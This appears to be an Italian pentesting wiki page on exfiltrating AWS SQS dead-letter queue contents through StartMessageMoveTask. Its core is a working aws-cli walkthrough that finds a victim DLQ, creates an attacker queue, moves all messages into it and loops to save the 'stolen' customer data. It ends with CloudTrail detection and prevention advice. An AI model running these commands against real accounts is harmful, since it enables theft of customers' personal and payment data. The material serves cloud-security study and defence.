AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

Descrizione

Abusa dei task di spostamento messaggi di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando sqs:StartMessageMoveTask. Questa tecnica sfrutta la legittima funzionalità di recupero messaggi di AWS per exfiltrate dati sensibili che si sono accumulati nelle DLQ nel tempo.

Cos'è una Dead-Letter Queue (DLQ)?

Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non possono essere processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono:

• Dati sensibili dell'applicazione che non sono stati processati
• Dettagli di errore e informazioni di debug
• Personal Identifiable Information (PII)
• API tokens, credenziali, o altri segreti
• Dati di transazioni critiche per il business

Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.

Scenario d'attacco

Esempio reale:

1. Un'applicazione e-commerce elabora ordini dei clienti tramite SQS
2. Alcuni ordini falliscono (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
3. La DLQ accumula settimane/mesi di ordini falliti contenenti dati dei clienti: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. L'attaccante ottiene accesso a credenziali AWS con permessi su SQS
5. L'attaccante scopre che la DLQ contiene migliaia di ordini falliti con dati sensibili
6. Invece di provare ad accedere ai singoli messaggi (lento e ovvio), l'attaccante usa StartMessageMoveTask per trasferire in bulk TUTTI i messaggi nella propria coda
7. L'attaccante estrae tutti i dati sensibili storici in un'unica operazione

Requisiti

• La queue sorgente deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy).
• Permessi IAM (eseguito come il principal vittima compromesso):
• Sulla DLQ (sorgente): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• Sulla queue di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta sqs:SendMessage dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default.
• Se SSE-KMS è abilitato: sulla CMK sorgente kms:Decrypt, e sulla CMK di destinazione kms:GenerateDataKey, kms:Encrypt.

Impatto

Impatto potenziale: Exfiltrate sensitive payloads accumulati nelle DLQ (eventi falliti, PII, token, payloads delle applicazioni) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette SendMessage dal principal vittima.

Come abusare

• Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
• Creare o scegliere una queue di destinazione controllata dall'attaccante e ottenere il suo ARN.
• Avviare una message move task dalla DLQ vittima verso la queue di destinazione.
• Monitorare il progresso o cancellare l'operazione se necessario.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione ordini dei clienti.

1. Scopri ed esamina la DLQ della vittima

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. Crea una destination queue controllata dall'attaccante

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. Esegui il furto massivo dei messaggi

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. Raccogliere i dati sensibili rubati

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Note tra account

• La queue di destinazione deve avere una resource policy che consenta al principal vittima di sqs:SendMessage (e, se usati, KMS grants/permissions).

Perché questo attacco è efficace

1. Funzionalità AWS legittima: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
2. Operazione in blocco: Trasferisce migliaia di messaggi rapidamente invece di un accesso lento e individuale
3. Dati storici: Le DLQ accumulano dati sensibili per settimane/mesi
4. Sotto il radar: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
5. Capacità cross-account: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo permettono

Rilevamento e prevenzione

Rilevamento

Monitorare CloudTrail per chiamate API StartMessageMoveTask sospette:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Prevenzione

1. Principio del minimo privilegio: Limita le autorizzazioni sqs:StartMessageMoveTask ai soli ruoli necessari
2. Monitoraggio DLQs: Configura allarmi CloudWatch per attività anomale nei DLQs
3. Policy cross-account: Rivedi attentamente le policy delle code SQS che consentono accesso tra account
4. Crittografia DLQs: Usa SSE-KMS con policy di chiave ristrette
5. Pulizia regolare: Non lasciare che dati sensibili si accumulino indefinitamente nei DLQs